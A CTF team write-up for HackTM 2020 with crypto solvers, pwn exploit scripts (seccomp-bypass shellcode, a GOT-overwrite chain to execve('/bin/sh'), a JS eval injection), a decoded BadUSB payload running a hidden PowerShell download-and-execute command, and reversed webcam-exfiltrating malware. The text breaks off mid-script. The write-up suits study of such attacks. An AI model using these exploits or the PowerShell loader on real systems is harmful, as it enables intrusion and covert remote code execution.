---
# System prepended metadata

title: HackTM_CTF_2020 writeup by OpenToAll

---

# HackTM_CTF_2020 writeup by OpenToAll

## crypto

### Count on me
- CORRECTION: AES 256 is used. Not AES 128.
We are given a key.png and aes-cbc iv and ciphertext. the goal is to recover the 256 bits aes key from the key.png and decrypt the flag. Notice that the symbols in the key.png length is 59 and have 20 types. Guess that we need to do base16 on the base20 strings. 
```python
from Crypto.Cipher import AES
from binascii import hexlify, unhexlify
import hashlib
import string
from Crypto.Util.number import long_to_bytes

a = [19,3,10,15,2]
b = [16,16,18,12,19,6,19,12,8]
c = [5,8,17,18,18,5,9,3,11,10,1,10,10,0,10]
d = [0,8,18,10,0,15,18,5,18,14,19,1,1,0,4,6,15,4,11,16,10,8,14,5,13,16,9]
for i in range(0,20):
    for j in range(0,20):
        for k in range(0,20):
            key = a+[i]+b+[j]+c+[k]+d
            m = 0
            length = len(key)
            for inx in range(59):
                t = key[inx]%5
                tt = key[inx]//5
                m+=20**(length-1)*(tt*5+t)
                length = length-1
            key = long_to_bytes(m)
            IV = unhexlify('42042042042042042042042042042042')
            ciphertext = unhexlify('059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec')
            cipher = AES.new(key,AES.MODE_CBC,IV)
            plaintext = cipher.decrypt(ciphertext)
            if b"Hack" in plaintext:
                print(plaintext)
```

> flag:HackTM{can_1_h@ve_y0ur_numb3r_5yst3m_??}

### Bad keys
1. nc to the rsa services and find out the relations between rsa public keys.
2. the p generated is through nextprime(last_p), so we assume that we know partial p and use small roots to factor n.
3. rsa decrypt to get flag.
> script: rsa known e,d,n to factor n.
> 
```python
#:crypto:rsa
#---
import fractions #for gcd function (or easily implementable to avoid import)
import random #for random elements drawing in RecoverPrimeFactors

def failFunction():
    print("Prime factors not found")

def outputPrimes(a, n):
    p = fractions.gcd(a, n)
    q = int(n // p)
    if p > q:
        p, q = q, p
    print("Found factors p and q")
    print("p = {0}".format(str(p)))
    print("q = {0}".format(str(q)))
    return p,q


def RecoverPrimeFactors(n, e, d):
    """The following algorithm recovers the prime factor
        s of a modulus, given the public and private
        exponents.
        Function call: RecoverPrimeFactors(n, e, d)
        Input:     n: modulus
                e: public exponent
                d: private exponent
        Output: (p, q): prime factors of modulus"""

    k = d * e - 1
    if k % 2 == 1:
        failFunction()
        return 0, 0
    else:
        t = 0
        r = k
        while(r % 2 == 0):
            r = int(r // 2)
            t += 1
        for i in range(1, 101):
            g = random.randint(0, n) # random g in [0, n-1]
            y = pow(g, r, n)
            if y == 1 or y == n - 1:
                continue
            else:
                for j in range(1, t): # j \in [1, t-1]
                    x = pow(y, 2, n)
                    if x == 1:
                        p, q = outputPrimes(y - 1, n)
                        return p, q
                    elif x == n - 1:
                        continue
                    y = x
                    x = pow(y, 2, n)
                    if  x == 1:
                        p, q = outputPrimes(y - 1, n)
                        return p, q
e = 65537
n1 = 107738293149136356482923627336592945119622047657597144133562489157501221595866062514202211675562048081654014041687875409379723635110395165419586834350034466366187291910585422409652554918657839160876939834602916154799615165933646763420540163389362292513152896918119204191571725586015930581404159705468060409023
d1 = 43079206737768256429726927603573830460040828217149597357523307877570220057672309812543585409129247142526259028677400172464343162764055500096438240904262517976001577610565879221367291125393151675930294515792609934175783377913993680946551010191577712294027502084042714989416915068272117930206494402915016026073
n4 = 19755645309508460178164804618402420076421716386183099547528894183361313000257096987827554794853784391857377433035132297365735616159238673669215035469027929239873926855127121651075185694192418701722297520457081247801309281948974068252996082424680872337195682008300995912578250535571641224204762962306000584503
d4 = -6487949616194677638809238900191880728517091135996747662564114767360201713605039877763896147971954796007542830633308702507022409731835359772075548291802917819414859279485176965917979890209837039186635292143031526627561258969160256972188545271390664399619265279871969621170817073464117836672676555781136227159
n2 = 38828126331658966056149620434855411097779647149321589655724175129533339949221260740794366534065342446895667391794524232206955451406922543771191916245945306019518411536432046436241639145281846477137610980238865715388443690781000005200749313898426051389916343577785908384234665064781964142499142575132920505483
d2 = 15397472805186152384657101873467770557398038508990628096535019720790423301956320023688981672243529378097433508481436292030861425250080259854273261078716940963712072968550428398200649645198326147833720096203319708771900190381106879568880088782232980671552128937085311551020707803411480304163766984299807727393
n3 = 10372030793101152879650458467958498667354333964214907234179049395860018056531587264795101234424351152925662965920998597140545147407692883046051926594142377821924590277203641801698107476474664011894543180006692315158733558692084238109198764384894820221705851699227195296412899305946275993260368433660201469439
d3 = 3355792009657397281842445051720280234715981771781022826701444426656939177421849891858268254188228662383626921119197617433939901210502767781687978569391255386158464591356875153141159793114211113207321813121885465175942471393081482360591755101419672564078671583989747553713699350336047012554266339323675443425
RecoverPrimeFactors(n1, e, d1)
RecoverPrimeFactors(n2, e, d2)
RecoverPrimeFactors(n3, e, d3)
RecoverPrimeFactors(n4, e, (d4%n4))
```
> script:known partial p to factor n.
```sage
#:crypto:sage:rsa:coppersmith
#---
n = 2318553827267041599931064141028026591078453523755133761420994537426231546233197332557815088229590256567177621743082082713100922775483908922217521567861530205737139513575691852244362271068595653732088709994411183164926098663772268120044065766077197167667585331637038825079142327613226776540743407081106744519
p =12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163


beta = 0.5
epsilon = beta^2/7
kbits = 100
pbits = p.nbits()
kbits = floor(n.nbits()*(beta^2-epsilon))
pbar = p & (2^pbits-2^kbits)
print("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits))

PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar

x0 = f.small_roots(X=2^kbits, beta=0.3)[0]  # find root < 2^kbits with factor >= n^0.3
print(x0 + pbar)
```

### RSA is easy \#1

The challenge code encrypts each plaintext character separately with no padding, which means we can bruteforce it byte-by-byte.
```python
lines = [l.strip() for l in open('c').readlines()]
e, n = eval(lines[1])
ct = eval(lines[4])
flag = ''
for c in ct:
    for x in range(256):
        if pow(x, e, n) == c:
            flag += chr(x)
            break
print flag
```

### RSA is easy \#2
> just sort the ciphertext as the character frequencies, the first two is " " and "e", and use gcd to get `k*n`, bruteforce char by char to get flag.
```python
cipher = [] #Encrypted flag:
character_frequencies = {}
for i in cipher:
    if i not in character_frequencies:
        character_frequencies[i] = 1
    else:
        character_frequencies[i]+=1
character_frequencies = {k: v for k, v in sorted(character_frequencies.items(), key=lambda item: item[1])}
print(character_frequencies)
import gmpy2
e = 65537
res = gmpy2.gcd(pow(ord(" "),e)-20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582,pow(ord("e"),e)-18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909)
print(res)
n = 53361144550014053166721365196980912889938802302767543436340298420353476899874610747222379321544658210212273658744624182437888528301817525619324262586755752560722184172889301780332276353612167586294259101340749155939404015704537471927068307582449663907783314406726655255040519664154112497941090624585931831047
flag = ""
for i in cipher:
    for j in range(32,127):
        if pow(j,e,n) == i:
            flag+=chr(j)
            break
print(flag)
```
### Prison Break

In this challenge the main task was to optimise the code so that it doesn't take too long to get the solution

* First we create a _zero_list_ consisting of 10000001 zeroes (the question demanded for only 10**7 zeroes, but I had the additional 1 just for safety)
* In the first loop when we iterate through all the lines in _Given_File_, we update ```zero_list[a] = (zero_list[a]+c)%10``` as mentioned in the challenge
* Similarly we update ```zero_list[b] = (zero_list[b]+c)%10```
* We do not update all the values between ```zero_list[a]``` and ```zero_list[b]``` just to reduce the complexity of the code. 
* Then we loop in the ```zero_list``` to add the element in i with its previous element % 10. The first part of the question (_add c modulo 10 to every number in your list between indices a and b_) is now solved.
* The rest of the question is self explanatory, we need to find the product % 999999937 of the nonzero digits in your ```zero_list```.
* Overall this was solved in **O(n)** where n=10**7. 

```python

zero_list = [0]*10000001
file = open("Given_File.txt", "r")
prime = 999999937

for line in file.readlines():
    #lst[0] = a; lst[1] = b; lst[2] = c;
    lst = []
    lst = list(line.split(' '))
    lst[2] = lst[2][0:-1]
    zero_list[int(lst[0])] = (zero_list[int(lst[0])] + int(lst[2]))%10
    zero_list[int(lst[1])] = (zero_list[int(lst[1])] - int(lst[2]) + 10)%10

for i in range(1,10000001):
    zero_list[i] = (zero_list[i] + (zero_list[i-1]))%10

product = 1

for i in range(1,10000001):
    if(zero_list[i] != 0):
        product = (product * zero_list[i])%prime

print(product)

```

## pwn

### Quack the quackers 

Author: @n2k  
Special thanks to @Q5Ca, who helped with the challenge.  

Content of the task:
> Our company was breached and multiple computers were physically compromised. We found this weird device supposedly called a "Digispark" and dumped its memory, but we couldn't figure out anything else about what happened. Could you please take a look? Also, please try to find out exactly what data the attackers managed to exfiltrate.  
  Attachment: quack_the_quackers.rom

Hint!  
> This task has multiple stages. There's nothing to pwn in the first one - i.e. the digispark ROM dump. See how that device might have hacked our company.

#### 1st stage: reconnaissance
Quick Google search revealed that:
The Digispark is an Attiny85 based microcontroller development board similar to the Arduino line, only cheaper, smaller, and a bit less powerful.[1]

#### 2nd stage: disassembly
Now, knowing that we are probably dealing with program written for Attiny85, we could try to disassemble it. We had several options, but decided to use IDA Pro. IDA does not have cfg file for this architecture, but anyway it's AVR, so it is possible to go with i.e. Atmega320. Fortunately, it occurred that someone already developed suitable cfg for avr (which can be found here[2]), so we could work  in comfortable way.

#### 3rd  stage: identifying key code fragments and interpreting it
One of more interesting functions seems to be at address 0x600.
We can see relation between title of the challenge 'Quack The Quackers' and this function – it seems to check consecutive letters of some input checking if it contains letters from  alphabet = {'Q', 'A', 'C', 'K', '!'}.
Let's take a closer look on this:
```
ROM:0609 E10E                                ldi     r16, 0x1E
ROM:060A E010                                ldi     r17, 0
ROM:060B E0C0                                ldi     r28, 0
ROM:060C E0D0                                ldi     r29, 0
ROM:060D
ROM:060D                     loc_60D:                                ; CODE XREF: setup+42↓j
ROM:060D E0E6                                ldi     r30, 6
ROM:060E 3701                                cpi     r16, 0x71 ; 'q'
ROM:060F 071E                                cpc     r17, r30
ROM:0610 F191                                breq    loc_643
```

Immediate value 0x1e is loaded to register r16 (0x609), and then it's compared to '0x71' which stands for small letter 'q' (0x60e). It occurs that under 0x1E there is a very long string containing letters only from our alphabet ! 
```
00000000: b8c3 dcc3 08c4 dac3 2bc8 d8c3 d7c3 d6c3  ........+.......
00000010: d5c3 d4c3 d3c3 d2c3 d1c3 d0c3 cfc3 5155  ..............QU
00000020: 5555 4155 5541 4b4b 4b4b 4b4b 4b4b 4b43  UUAUUAKKKKKKKKKC
00000030: 4b43 5555 5555 5555 5555 434b 4b4b 4b4b  KCUUUUUUUUCKKKKK
00000040: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b43 5555  KKKKKKKKKKKKKCUU
00000050: 5555 5555 5555 5555 5555 5543 5543 4b4b  UUUUUUUUUUUCUCKK
00000060: 4b4b 4b4b 4b4b 4b4b 4b43 4b4b 4b43 5555  KKKKKKKKKCKKKCUU
00000070: 5555 5555 5543 434b 4b4b 4b4b 4b4b 4b4b  UUUUUCCKKKKKKKKK
00000080: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b  KKKKKKKKKKKKKKKK
00000090: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b  KKKKKKKKKKKKKKKK
000000a0: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b  KKKKKKKKKKKKKKKK
000000b0: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b  KKKKKKKKKKKKKKKK
000000c0: 4b4b 4b43 5555 5555 5555 5555 5555 5555  KKKCUUUUUUUUUUUU
```

It does mean that the string may be a program, and our function can be an interpreter of some esoteric language. Additional hint is that after checking if we interpret each letter there is a branch to handler procedure.
1. 'Q' letter  
   ```
   ROM:0615 E048                                ldi     r20, 8
   ROM:0616 E165                                ldi     r22, 0x15
   ROM:0617 C01A                                rjmp    loc_632
   ...
   ROM:0632 E782                                ldi     r24, 0x72 ; 'r'
   ROM:0633 E090                                ldi     r25, 0
   ROM:0634 DF99                                rcall   sub_5CE
   ROM:0635 DF33                                rcall   sub_569
   ```
   If 'Q' letter was found the program jumps to address 0x615.
   It loads value 0x8 to r20 register and value 0x15 to r22. Then it is calling sub_5CE function, which is wrapper for sub_5A9. Sub_5A9 seems to be very big and interpreting it can take a big amount of time. Here comes the diaphora! Knowing that we look at Digispark, we can compile example with their API and make binary comparison. We chose a digispark keyboard example from [3] And we found that sub_59A is in fact DigiKeyboardDevice::sendKeyPress function. So we do know arguments :
   r20 = 0x8 – a modifier  MOD_GUI_LEFT 
   r22 = 0x15 – stands for KEY_R
   (codes can be found i.e. here [4])
   So 'Q' means pressing WIN + R combination, which opens a 'Run' window.

2. 'U' letter  
   ```
   adiw    r28, 1
   rjmp    loc_636
   ```
   For this letter key thing is adiw r28, 1 line. It increases r28 register by one, but it also stands for Y index, which is also a value of current letter in our Quack string. 

3. 'A' letter  
   ```
   movw    r24, r28
   movw    r22, r28
   rcall   sub_89C
   movw    r28, r24
   rjmp    loc_636
   ```
   It calls sub_89C which modifying letter value in some way. We were not interpreted this function – just literally rewritten it to save time.

4. 'C' letter  
It calls sub_5D8 which is very similar to sendkeypress, but it takes hex value instead of scan codes. The argument is r22=r28 (letter value).

5. 'K' letter  
   Analogue to 'U', but decreasing letter value by 1.

6. '!' mark  
    Pressing ENTER

#### 4th stage: writing script
Our parsing script:
```py
import code
import logging
import signal
import sys
​
​
​
def sigusr2_handler(signal, frame):
    code.interact(local=dict(locals(), **globals()))
signal.signal(signal.SIGUSR2, sigusr2_handler)
​
​
​
def setup_logging():
    simple_formatter = logging.Formatter("[%(asctime)s:%(process)-5d:%(levelname)-8s:%(name)s(%(filename)s:%(lineno)d)]  %(message)s") 
​
    # LogViewPlus pattern parser:
    # [%date{yyyy-MM-dd HH:mm:ss,fff}:%s{PID}:%level:%logger(%file:%line)]  %message%newline
    
    fh = logging.FileHandler(filename="parsowanie.log")
    fh.setLevel(logging.DEBUG)
    fh.setFormatter(simple_formatter)
    sh = logging.StreamHandler(stream=sys.stdout)
    sh.setLevel(logging.DEBUG)
    sh.setFormatter(simple_formatter)
​
    logger = logging.getLogger()
    logger.addHandler(fh)
    logger.addHandler(sh)
    logger.setLevel(logging.DEBUG)
​
​
if __name__ == "__main__":
    setup_logging()
​
    logger = logging.getLogger('pr')
​
    logger_output = logging.getLogger('pr.output')
​
    wejscie =  \
"QUUUAUUAKKKKKKKKKCKCUUUUUUUUCKKKKKKKKKKKKKKKKKKCUUUUUUUUUUUUUCUCKKKKKKKKKKKCKKKCUUUUUUUCCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAUUUUUUUUUUCUCUCUUCKKKCKKKKKKKKKCUUUCUUUCKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAKKCKKKKKKKKKKKKKKCUUUUUCKKKKKKKKKKCUUUUUUUUUUUCUUUUUUUUCKKKKCUCUUUUUCKKKKKKKKKKKKKCKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKAUUUUCUCKKKKKCCUCUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAUUUAUAKCUUUUUUUUUUUUCKKCCKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCUUCKKKKKKKKKKKKKKKKKKKKKKKKAUUUUUCUUUUUUUUUUUUUUCKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKAUUUUUUUUUUCKCKKKKKKKKKCUUCUUUUUUUUUUUUUUCKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKKKKKKCUUUUCUUUUUUUUUCKKKKKKKKCKKKKKKKCUUUUUUUUUUCKKKKKKKKKKKKCUUUUCUUUUUUUUUUUUUUUUUCKKKKKKKKKKKKKKKCKKKCUUUUUCUCUCKKKKKKKKKKKCUUCUUUUUUUUUUCUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAKCUCUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAKKKKKKKKKCUUUCUUUUUUUUUCKKKKKKKKKKKKKKKKKKKCKKKKCUUUUUUUUUUUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKC!"
​
    def sub_89C_1(Y):
        r24 = Y & 0xff
        r25 = Y >> 8
        r0 = 0
        r21 = 0
        r22_23 = (r25 << 8) + r24
        while True:
            if r24 != 0:
                r22_23 = (r22_23 * 2)
                c = r22_23 > 65535
                r22_23 %= 65535
                if c:
                    r0 += r24
                    c = r0 > 255
                    r0 %= 255
                    r21 += r25 + (1 if c else 0)
                    r21 %= 255
                else:
                    if (r22_23 >> 8) == 0:
                        break
                    t = ((r25 << 8) + r24) & 0xffff
                    t >>= 1
                    r24, r25 = (t & 0xff, t >> 8)
            else:
                break
        r24 = r0
        r25 = r21
        ret = (r25 * 256 + r25) % 65535
        logger.debug("sub_89C(%s) = %s", hex(Y), hex(ret))
        return ret
​
​
    def sub_89C(Y):
        def hi(w):
            return w >> 8
​
        def lo(w):
            return w & 0xff
​
        wynik = 0  # r0:r21
        r24_25 = Y
        r22_23 = Y
​
        while True:
            #if lo(r24_25) == 0:
            if r24_25 == 0:
                break
​
            r22_23, c = r22_23 >> 1, r22_23 & 1
            if c:
                wynik = (wynik + r24_25) & 0xffff
            else:
                #if hi(r22_23) == 0:
                if lo(r22_23) == 0:
                #if hi(r22_23) == 0:
                    break
                #r24_25, c = (r24_25 << 1) & 0xffff, (r24_25 << 1) > 0xffff
            r24_25, c = (r24_25 << 1) & 0xffff, (r24_25 << 1) > 0xffff
        
​
        logger.debug("sub_89C(%s) = %s", hex(Y), hex(wynik))
        return wynik
​
​
    def parse(txt):
        Y = 0
        output = ''
        for c in txt:
            if c == 'Q':
                logger_output.debug('Special+R')
                output += "<Win+R>"
            elif c == 'U':
                Y = (Y + 1) & 0xffff
            elif c == 'A':
                Y = sub_89C(Y)
            elif c == 'C':
                logger_output.debug("ascii '%s' %d (%s)", chr(Y & 0xff), Y & 0xff, hex(Y & 0xff))
                output += chr(Y & 0xff)
            elif c == 'K':
                Y = (Y - 1) & 0xffff
            elif c == '!':
                logger_output.debug("Enter")
                output += '\n'
                break
​
            if Y == 0x0100:
                Y = 0
            else:
                if Y == 0xffff:
                    Y = 0
        return output
    
    logger.debug("Wejscie to %s", wejscie)
​
    parsed = parse(wejscie)
    logger_output.info("parsed as %s", repr(parsed))
```

#### 5th stage: the exe file
Our script outputs:
```
<Win+R>powershell -noprofile -windowstyle hidden -command "iwr nmdfthufjskdnbfwhejklacms.xyz/-ps|iex"\n'
```
Looks like we had second stage.

#### 6th stage: playing with C&C
The exe file [6] -> external file wasn't obfuscated too -> it communicated with C&C, so we decided to try to communicate with it on our own. After several simple tries we got a flag.
```
Ola@DESKTOP-GE6D4EA ~/indocs/ctf/2020-02-hacktm/quack_the_quackers$ perl -e 'print "@";print "X"' |  nc nmdfthufjskdnbfwhejklacms.xyz 19834
 ,RY SECRET: HackTM{Qu4ck_m3_b4ck_b4by!}HAT. Lucas requests the HackTM{Qu4c
```

It look likes the next sign after "@" indicated how long leak from C&C we want to get, which may be related with heartbleed, but eventually there was more re than pwning in this task.

**Flag: HackTM{Qu4ck_m3_b4ck_b4by!}**

#### References
1. [http://digistump.com/products/1](http://digistump.com/products/1)
2. [https://github.com/G33KatWork/token_of_hxp_writeup/blob/master/avr.cfg](https://github.com/G33KatWork/token_of_hxp_writeup/blob/master/avr.cfg)
3. [https://m3kkkn1ght.home.blog/2019/02/22/reverse-arduino-uno/](https://m3kkkn1ght.home.blog/2019/02/22/reverse-arduino-uno/)
4. [https://github.com/ernesto-xload/DigisparkKeyboard/blob/master/src/DigiKeyboard.h](https://github.com/ernesto-xload/DigisparkKeyboard/blob/master/src/DigiKeyboard.h)


]
### Obey The Rules

In this challenge we control 9 bytes of shellcode the binary with unknown seccomp rules would run for us. This is enough to execute `read` syscall to deliver the second stage with (almost) no length limit. Through some experimentation we noticed that `write` syscall is blocked, however the binary leaks the signal that caused its termination. With this we can perform a binary search to leak the seccomp rules:

```
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x08 0x00 0x40000000  if (A >= 0x40000000) goto 0012
 0004: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0011
 0005: 0x15 0x05 0x00 0x0000003c  if (A == exit) goto 0011
 0006: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0012
 0007: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0008: 0x15 0x00 0x02 0x00000003  if (A != 0x3) goto 0011
 0009: 0x20 0x00 0x00 0x00000018  A = buf # read(fd, buf, count)
 0010: 0x15 0x00 0x01 0x00602888  if (A != 0x602888) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL
 ```

 We notice that we can read from fd=3 if buf is at 0x602888 and correct our second stage accordingly.

 ```python
 from pwn import *
context.arch = 'amd64'
context.log_level = 'error'

def bsearch(addr, cmpbyte):
    s = remote('138.68.67.161', 20001)
    s.recvuntil('no)\n')

    # read stage2 shellcode
    stage1 = '''
    xchg rsi, rax
    xchg ecx, eax
    xor edi, edi
    syscall
    '''

    p = 'Y\x00'
    p += asm(stage1)
    p += '\xff' * (11 - len(p))
    s.send(p)

    stage2 = shellcraft.open('/home/pwn/flag.txt')
    stage2 += shellcraft.read('rax', 0x602888, 0x100)
    stage2 += '''
    mov edi, {}
    mov al, [edi]
    cmp al, {}
    jae debugger
    mov eax, 60
    syscall
    debugger:
    int3
    '''.format(addr, cmpbyte)

    p = 'A' * 9
    p += asm(stage2)
    s.send(p)

    try:
        r = s.recvline().strip()
    except EOFError:
        s.close()
        return False

    s.close()

    if 'Trace' in r:
        return True

def dump_byte(addr):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        if bsearch(addr, m):
            l = m
        else:
            h = m
    return l

flag = ''
for i in range(150):
    flag += chr(dump_byte(0x602888 + i))
    print flag
```

### merry_cemetery
We are given a js file and a wasm file which both seem to have been compiled from a c program.

After adding a simple html wrapper it was possible to load it up in a browser and use the debugger. It didnt look like the wasm was needed at all, and the js still had some nice function names.

You could add/remove a joke or ask for a reward. If you add 255 jokes then ask for a reward it allows you to write one more joke on your gravestone.

If the gravestone joke passes the `_check` function then it is passed to `eval`. The check function makes sure thay you have not entered any b-zA-Z characters.


The flag is stored in a variable `aaaa` and our payload cannot use any alpha characters other than `a`, but can use all the special character.

jsfuck shows a few ways that functions can be executed, one of which is `[]["filter]()"`. We cant use the string directly but as digits are allowed we can use octal escapes.

As errors were shown from the eval, it was enough to use the above with `aaaa` and the flag is returned in the type error.

```
➜  (python -c 'print("+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n"*0xff+"$\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"+ "[][\"\\146\\151\\154\\164\\145\\162\"](aaaa)" + ";"*0xff)'; cat -) | nc 138.68.67.161 20002

exception thrown: TypeError: HackTM{m4y_y0ur_d4ys_b3_m3rry_4nd_br1ght} is not a function,TypeError: HackTM{m4y_y0ur_d4ys_b3_m3rry_4nd_br1ght} is not a function
```


### think_twice

In this challenge we get unlimited arbitrary reads and a single write. 

1. We can get multiple writes by overwriting the GOT entry of `exit` with an address in the `main` function that performs the arbitrary write.
2. The leaked libc pointers didn't correspond to any known libc build, so we assumed it was compiled manually and slowly exfiltrated it. 
3. To get rip and rdi control we modified `setbuf` GOT entry and  `stderr` in .bss to point to our data which is then called via `setbuf(stderr, 0)` in `init_proc`.
4. For some reason `system` didn't work, so instead we used `execve`.

```python
from pwn import *
context.arch = 'amd64'

elf = ELF('./think-speak')
s = remote('138.68.67.161', 20004)

def leak(addr):
    s.sendlineafter(' >', '1')
    s.sendlineafter(': ', str(addr))
    s.recvuntil('[ \n')
    d = s.recvuntil(' ]\n [1] Think')[:-13]
    return u64(d)

def write(addr, value, exit = False):
    s.sendlineafter(' >', '2' if not exit else '3')
    s.sendlineafter(': ', str(addr))
    s.sendlineafter(': ', str(value))

puts_addr = leak(elf.got['puts'])
libc_addr = puts_addr - 0x691C0
print 'libc @ ' + hex(libc_addr)

EXECVE = libc_addr + 0xB7E80
STDERR = 0x6010A0
BIN_SH = 0x601200

# get multiple writes
write(elf.got['exit'],  0x400A31)

write(BIN_SH, u64('/bin/sh\x00'), True)
write(STDERR, BIN_SH, True)

write(elf.got['setbuf'], EXECVE, True)
write(elf.got['exit'], elf.symbols['init_proc'], True)

# trigger execve
s.sendlineafter(' >', '3')

s.interactive()
```
## rev

### ananas

We are presented with a binary along with a pcap file. After some RE we can identify it's using a library called `videoInput` to capture webcam frames. For each frame captured it averages the pixel values to form a grayscale 8-bit array. It then connects to 134.209.225.118:18812, receives a 4-byte seed, shuffles the values according to some PRNG initialized with that seed and finally sends the shuffled array over the socket. The relevant functions are:

main:
```C
// ...
videoInput::videoInput(&lib);
videoInput::setupDevice(&lib, deviceNumber, 0, 160, 90);
for ( i = 0; i <= 9; ++i )
{
  while ( 1 )
  {
    if ( !(videoInput::isFrameNew(&lib, device, 0) ^ 1) )
      break;
    Sleep(10u);
  }
  videoInput::getPixels(&lib, device, 0, dstBuffer, 1u, 0);
}
while ( 1 )
{
  Sleep(350u);
  while ( 1 )
  {
    if ( !(videoInput::isFrameNew(&lib, device, 0) ^ 1) )
      break;
    Sleep(0xAu);
  }
  videoInput::getPixels(&lib, device, 0, dstBuffer, 1u, 1u);
  for ( hieght = 0; hieght <= 89; ++hieght )
  {
    for ( width = 0; width <= 159; ++width )
      grayscale[160 * hieght + width] = (dstBuffer[3 * (width + 160 * hieght) + 2]
                                       + dstBuffer[3 * (width + 160 * hieght) + 1]
                                       + dstBuffer[3 * (width + 160 * hieght)])
                                      / 3;
  }
  send_to_socket(grayscale, 14400);
}
// ...
```

send_to_socket:
```C
int send_to_socket(char *data, int len)
{
  bool ok; // al
  char byte; // [esp+13h] [ebp-25h]
  char buf[4]; // [esp+14h] [ebp-24h]
  int old; // [esp+18h] [ebp-20h]
  int r; // [esp+1Ch] [ebp-1Ch]
  SOCKET s; // [esp+20h] [ebp-18h]
  int n; // [esp+24h] [ebp-14h]
  int j; // [esp+28h] [ebp-10h]
  int i; // [esp+2Ch] [ebp-Ch]

  s = socket(2, 1, 6);
  if ( connect(s, &name, 16) != 0 )
    exit(0);
  if ( recv(s, buf, 4, 0) == 0 )
    exit(0);
  SEED = *(_DWORD *)buf;
  for ( i = len - 1; i > 0; --i )
  {
    r = (unsigned __int16)prng() % i;
    old = (char)data[i];
    data[i] = data[r];
    data[r] = old;
  }
  for ( j = 0; ; j += n )
  {
    ok = 0;
    if ( j < len )
    {
      n = send(s, &data[j], len - j, 0);
      if ( n != -1 )
        ok = 1;
    }
    if ( !ok )
      break;
  }
  if ( n == -1 )
    exit(0);
  recv(s, &byte, 1, 0);
  Sleep(10u);
  return closesocket(s);
}
```

prng:
```C
unsigned int prng()
{
  SEED = 0x47FC96 + 48192 * SEED;
  SEED ^= (unsigned int)SEED >> 7;
  SEED ^= SEED << 17;
  SEED ^= 77 * SEED;
  return SEED / 1234u;
}
```

With this information it's trivial to reconstruct the original frames from the pcap streams which show the flag printed on a piece of paper.

```python
from PIL import Image
import struct
import sys

def prng():
    global SEED
    SEED = (4717718 + 48192 * SEED) & 0xffffffff
    SEED ^= SEED >> 7
    SEED ^= SEED << 17
    SEED ^= 77 * SEED
    SEED &= 0xffffffff
    return (SEED / 1234) & 0xffff

def decrypt(key, data, out):
    global SEED
    L = 14400
    SEED = key
    rng = [x for x in range(1, L)][::-1]
    shuffs = [prng() % i for i in rng][::-1]
    for i in range(1, L):
        r = shuffs[i - 1]
        data[i], data[r] = data[r], data[i]
    img = Image.new('L', (160, 90))
    pixels = img.load()
    for h in range(90):
        for w in range(160):
